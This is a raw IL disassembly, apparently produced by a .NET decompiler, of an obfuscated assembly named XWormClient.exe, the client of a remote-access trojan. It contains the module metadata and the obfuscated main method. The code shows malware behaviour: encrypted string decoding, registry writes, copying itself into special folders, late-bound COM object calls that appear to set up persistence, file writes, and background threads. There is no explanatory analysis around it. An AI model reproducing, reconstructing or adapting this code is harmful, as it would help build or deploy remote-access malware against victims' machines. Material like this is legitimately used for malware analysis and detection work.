ldc.i4.s 103
ldc.i4.s 26
call System.String Stub.VjrNV3RlsVhWCvRbxhf0Gz0Z7SCcDZlh6JU7ZfbmTPXOn7vXw4OaHyCvn9PwYKeVuOCgUuEcz4WRoXYqUD2Mwj3Z6X::Ⴈ<System.String>(System.String,System.Int32,System.Char)
ldloc.0 <null>
isinst System.String
ldc.i4 675
ldc.i4 640
call System.Void Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::ႥႨ<System.String,System.Object,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int32,System.Int16)
leave.s IL_06C2: ldc.i4.5
dup <null>
ldc.i4.s 109
ldc.i4.s 86
call System.Void Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_11
ldc.i4 705
ldc.i4 740
call System.Void Stub.zbnJVlZTbJ4miCtwjkLB7bqyU1IQWD4i212h1C9i6sFS1fp4wJf1Z1aefcfePwcpBnNBJEe5Iggycb21M76ey17Z1i::Ⴍ(System.Char,System.Int16)
leave.s IL_06C2: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_35
ldloc.s V_35
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4 730
ldc.i4 667
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::ႠႥ(System.Environment/SpecialFolder,System.Int32,System.Int32)
ldc.i4 184
ldc.i4.6 <null>
ldnull <null>
ldc.i4 1458553791
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XGdZSjHvmkztWGF8791XMxo73ls5SUE1ntYU2I8kCMoNdFkRJrq91S63i
ldc.i4 737
ldc.i4 668
call System.String Stub.VjrNV3RlsVhWCvRbxhf0Gz0Z7SCcDZlh6JU7ZfbmTPXOn7vXw4OaHyCvn9PwYKeVuOCgUuEcz4WRoXYqUD2Mwj3Z6X::Ⴈ<System.String>(System.String,System.Int32,System.Char)
ldc.i4.s 81
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1458553604
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.s 16
ldc.i4.s 35
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg::Ⴅ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Char,System.Char)
stloc.s V_12
ldc.i4.3 <null>
stloc.s V_35
br IL_06C5: ldloc.s V_35
ldc.i4 202
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1458555830
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.s 44
ldc.i4.8 <null>
ldnull <null>
ldc.i4 1458554775
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldc.i4 204
ldc.i4.2 <null>
ldnull <null>
ldc.i4 1458555812
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
castclass System.Object[]
ldc.i4.0 <null>
ldloc.s V_12
isinst System.String
stelem.ref <null>
ldloc.s V_15
castclass System.Object[]
stloc.s V_16
ldloc.s V_16
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
castclass System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
castclass System.Boolean[]
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
isinst System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_07F3: stloc.s V_18
ldloc.s V_16
castclass System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldc.i4 165
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1458555862
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
castclass System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_19
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.0 <null>
stloc.s V_35
br IL_06C5: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4 186
ldc.i4.7 <null>
ldnull <null>
ldc.i4 1458555847
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
isinst System.Object[]
ldc.i4.0 <null>
ldc.i4.s 29
ldc.i4.4 <null>
ldnull <null>
ldc.i4 1458554779
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_19
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.2 <null>
stloc.s V_35
br IL_06C5: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4 182
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1458555894
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.1 <null>
stloc.s V_35
br IL_06C5: ldloc.s V_35
ldnull <null>
stloc.s V_18
ldloc.s V_12
castclass System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴈ.Ⴃ::Ⴓ
leave.s IL_08D5: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_08D5: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_37
ldloc.s V_37
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴈ.Ⴃ::Ⴄ()
ldnull <null>
ldftn System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::2AzsyBvGZoRfX1wRBgOpmelRpyzPI9R5qQcrMUDnY6LFwB6VKSCFs23ct()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::NAWR72dL0rzu0xswY4vrjEITbtKfY8dgFjEVfedJJonbZYvXFMfk8rLCV()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldc.i4.6 <null>
stloc.s V_37
br.s IL_08D8: ldloc.s V_37
call System.String Stub.lSucOCBm5DSMwceWLZzrf2VeeOqdxtXHYcsDtkYlcG5HUVAfXaXupHtWH::lVMvaOXTfCGmKCX8tayai4LtF6GLFSdwmEnnIZ0TzJzwpUjbwwUdQBIz9()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_094A: ldc.i4.3
ldc.i4.5 <null>
stloc.s V_37
br.s IL_08D8: ldloc.s V_37
ldc.i4.3 <null>
br.s IL_0946: stloc.s V_37
call System.Void Stub.W3ZD2x9xtumR05Rn0xdP58snSnx4OSJv::Gv1pzMA5FQ947tqBu20t1lpvEPh7X9Au()
ldnull <null>
ldftn System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::OOcuFDZhs9Ur0J48yMB119KfhCrRffGzthvW2AWlXWHXqgADJtIRdgJbh()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::KY3dKnkIAe37zOEQ8r2BJBrC90GlhW737RFUQV8xjV8X6gcoSqBvtONjf()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.4 <null>
stloc.s V_37
br IL_08D8: ldloc.s V_37
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::6MhcRV6lNl8vXuyXqawdy8xOzWE9TYiln9UWom81Qr4xNBlCVCQkfTp4g()
pop <null>
ret <null>
Module Name
XWormClient.exe
Full Name
XWormClient.exe
EntryPoint 
System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::6MhcRV6lNl8vXuyXqawdy8xOzWE9TYiln9UWom81Qr4xNBlCVCQkfTp4g()
Scope Name
XWormClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
XWormClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method 
System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::6MhcRV6lNl8vXuyXqawdy8xOzWE9TYiln9UWom81Qr4xNBlCVCQkfTp4g()
Main IL Instruction Count
665
Main IL 
ldsfld System.Int32 MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::hjDS3riJrRlnslKbUoy8gXgCGFyfMle7daAusm3Mxl0lhxFS5CCbCmGxd
ldc.i4 1000
mul.ovf <null>
ldc.i4 240
ldc.i4 201
call System.Void Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴄ(System.Int32,System.Char,System.Int32)
ldc.i4.s 9
stloc.s V_21
ldloc.s V_21
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::Emp07UcFEeHiIBcZsVdPstDvInaiLw4DVDhedxJVevfqou2yDMmIioBE1
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 284
ldc.i4 333
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::Emp07UcFEeHiIBcZsVdPstDvInaiLw4DVDhedxJVevfqou2yDMmIioBE1
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::vw9oHOIEEztOu1XBgA03ZAWlB4MqS4yvGoLJVwyVPRtepMPmcNL2PWxqQ
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 658
ldc.i4 707
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::vw9oHOIEEztOu1XBgA03ZAWlB4MqS4yvGoLJVwyVPRtepMPmcNL2PWxqQ
ldc.i4.5 <null>
stloc.s V_21
br.s IL_001E: ldloc.s V_21
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XbuaiKz0GhERozlQNFJCcAzt2cdFpiT6nLCEzNXVcKbxd2ZPaCwWoAZSR
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 453
ldc.i4 404
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XbuaiKz0GhERozlQNFJCcAzt2cdFpiT6nLCEzNXVcKbxd2ZPaCwWoAZSR
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::ItGNfPeJtXE2ZLjXB0FlW4ioMt7RuskibiulQoQDR3zoZnvuD26WOvdW0
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 889
ldc.i4 808
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::ItGNfPeJtXE2ZLjXB0FlW4ioMt7RuskibiulQoQDR3zoZnvuD26WOvdW0
ldc.i4.7 <null>
stloc.s V_21
br IL_001E: ldloc.s V_21
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::geLpNqkd93vaVsBvVofqJuZLyzKvLoSjzwWfENZxIwt7Mf6Z1iBkUF2S6
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 282
ldc.i4 331
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::geLpNqkd93vaVsBvVofqJuZLyzKvLoSjzwWfENZxIwt7Mf6Z1iBkUF2S6
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::ChigrKnpHbXXEYJMF5f2zAisLWv0Wkj5qzr3jnIm4ur4IqMtT6kd5Qgpg
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4.s 99
ldc.i4.s 50
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::ChigrKnpHbXXEYJMF5f2zAisLWv0Wkj5qzr3jnIm4ur4IqMtT6kd5Qgpg
ldc.i4.3 <null>
stloc.s V_21
br IL_001E: ldloc.s V_21
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::QL2WElctzLArtUjpU23KARSpsodwhG0HyXlOQQkgMJVZdoBqerZjsbFgO
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 785
ldc.i4 832
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 936
ldc.i4 980
call System.String Stub.VjrNV3RlsVhWCvRbxhf0Gz0Z7SCcDZlh6JU7ZfbmTPXOn7vXw4OaHyCvn9PwYKeVuOCgUuEcz4WRoXYqUD2Mwj3Z6X::Ⴈ<System.String>(System.String,System.Int32,System.Char)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::QL2WElctzLArtUjpU23KARSpsodwhG0HyXlOQQkgMJVZdoBqerZjsbFgO
ldc.i4.6 <null>
stloc.s V_21
br IL_001E: ldloc.s V_21
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XGdZSjHvmkztWGF8791XMxo73ls5SUE1ntYU2I8kCMoNdFkRJrq91S63i
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4.s 123
ldc.i4.s 42
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XGdZSjHvmkztWGF8791XMxo73ls5SUE1ntYU2I8kCMoNdFkRJrq91S63i
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::fZbXhJU59RNt6WMTsen2lJoNd2jvlMcjNdiiybKP84jTGyPeHzqTEcH65
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 179
ldc.i4 226
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::fZbXhJU59RNt6WMTsen2lJoNd2jvlMcjNdiiybKP84jTGyPeHzqTEcH65
ldc.i4.2 <null>
stloc.s V_21
br IL_001E: ldloc.s V_21
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::QKlt3CpYRYk70T0cvy9kHlfGlSZd4fgUfHpohdh6fA0lDofpgl4RzGmPE
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 709
ldc.i4 660
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::QKlt3CpYRYk70T0cvy9kHlfGlSZd4fgUfHpohdh6fA0lDofpgl4RzGmPE
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XTNaDZJbMgVF3DbuBPN3iRG3kR9IMLBzbCM5OjapjzbUgXgzG2im4wM8V
call System.Object Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::NYp3YBkdmQe8ENYzR2PGovDQQeyvBEns(System.String)
ldc.i4 957
ldc.i4 1004
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XTNaDZJbMgVF3DbuBPN3iRG3kR9IMLBzbCM5OjapjzbUgXgzG2im4wM8V
leave.s IL_01F3: ldc.i4.2
dup <null>
ldc.i4 392
ldc.i4 435
call System.Void Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 895
ldc.i4 837
call System.Void Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴄ(System.Int32,System.Char,System.Int32)
ldc.i4 248
ldc.i4 221
call System.Void Stub.zbnJVlZTbJ4miCtwjkLB7bqyU1IQWD4i212h1C9i6sFS1fp4wJf1Z1aefcfePwcpBnNBJEe5Iggycb21M76ey17Z1i::Ⴍ(System.Char,System.Int16)
leave.s IL_01F3: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴈ.Ⴃ::Ⴀ()
brtrue.s IL_0231: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_23
br.s IL_01F6: ldloc.s V_23
ldc.i4.0 <null>
ldc.i4 217
ldc.i4 227
call System.Void Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴄ(System.Int32,System.Char,System.Int32)
ldc.i4.4 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::tZ1O9uMlGGAUOmbiwkHWbW08jrc2cez7c60jniri55F8nAylDsKDCspY7()
leave.s IL_0279: ldc.i4.3
dup <null>
ldc.i4 876
ldc.i4 855
call System.Void Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_4
ldc.i4 507
ldc.i4 478
call System.Void Stub.zbnJVlZTbJ4miCtwjkLB7bqyU1IQWD4i212h1C9i6sFS1fp4wJf1Z1aefcfePwcpBnNBJEe5Iggycb21M76ey17Z1i::Ⴍ(System.Char,System.Int16)
leave.s IL_0279: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::N6llSokc5h6BKui73b58YnePCX4e7JCPoCFN3ZaAmSOsfqBRemULD1DiZ()
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::QL2WElctzLArtUjpU23KARSpsodwhG0HyXlOQQkgMJVZdoBqerZjsbFgO
ldc.i4.s 11
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1458553786
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XGdZSjHvmkztWGF8791XMxo73ls5SUE1ntYU2I8kCMoNdFkRJrq91S63i
ldc.i4 625
ldc.i4 597
call System.String Stub.zbnJVlZTbJ4miCtwjkLB7bqyU1IQWD4i212h1C9i6sFS1fp4wJf1Z1aefcfePwcpBnNBJEe5Iggycb21M76ey17Z1i::Ⴄ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Char)
stloc.0 <null>
ldc.i4.1 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 698
ldc.i4 651
call System.IO.DirectoryInfo Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg::Ⴓ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Int16)
ldc.i4 640
ldc.i4 698
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::ႠႭ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Char,System.Int16)
stloc.s V_5
ldc.i4.6 <null>
stloc.s V_29
br.s IL_02C7: ldloc.s V_29
ldloc.s V_5
ldc.i4.2 <null>
ldc.i4.s 83
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 254
ldc.i4 177
call System.Boolean My.s7Xl0mUgDXTAXirbj2VMhW3Xl9PHlV0rqXHcmNYzlDb65AlObngG4Mg5zxgQTLd5SpyQrw4y::Ⴅ<System.String>(System.String,System.Int32,System.Char)
brtrue.s IL_0349: ldc.i4.0
ldc.i4.5 <null>
stloc.s V_29
br IL_02C7: ldloc.s V_29
ldc.i4.0 <null>
br.s IL_0342: stloc.s V_29
ldloc.s V_5
ldc.i4.0 <null>
ldc.i4.s 81
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴗ<System.Object>(System.Object,System.Int16,System.Int32)
ldc.i4 257
ldc.i4 285
call System.IO.DirectoryInfo Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::Ⴗ<System.String>(System.String,System.Char,System.Char)
pop <null>
ldc.i4.0 <null>
stloc.s V_29
br IL_02C7: ldloc.s V_29
ldloc.0 <null>
castclass System.String
ldc.i4 421
ldc.i4 501
call System.Boolean My.s7Xl0mUgDXTAXirbj2VMhW3Xl9PHlV0rqXHcmNYzlDb65AlObngG4Mg5zxgQTLd5SpyQrw4y::Ⴅ<System.String>(System.String,System.Int32,System.Char)
brfalse.s IL_038E: ldc.i4.3
ldc.i4.s 9
stloc.s V_29
br IL_02C7: ldloc.s V_29
ldc.i4.3 <null>
br.s IL_0387: stloc.s V_29
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
castclass System.IO.FileInfo
ldc.i4 376
ldc.i4 307
call System.Void Stub.W3ZD2x9xtumR05Rn0xdP58snSnx4OSJv::Ⴜ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Int16)
ldc.i4 1000
ldc.i4 524
ldc.i4 565
call System.Void Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴄ(System.Int32,System.Char,System.Int32)
ldloc.0 <null>
isinst System.String
ldsfld System.String Ⴈ.Ⴃ::Ⴍ
ldc.i4.s 111
ldc.i4.s 100
call System.Byte[] Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg::Ⴐ<System.String>(System.String,System.Int32,System.Char)
ldc.i4 649
ldc.i4 746
call System.Void Stub.zbnJVlZTbJ4miCtwjkLB7bqyU1IQWD4i212h1C9i6sFS1fp4wJf1Z1aefcfePwcpBnNBJEe5Iggycb21M76ey17Z1i::Ⴗ<System.String>(System.String,System.Byte[],System.Int32,System.Int16)
leave.s IL_0410: ldc.i4.4
dup <null>
ldc.i4 1008
ldc.i4 971
call System.Void Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_7
ldc.i4 917
ldc.i4 944
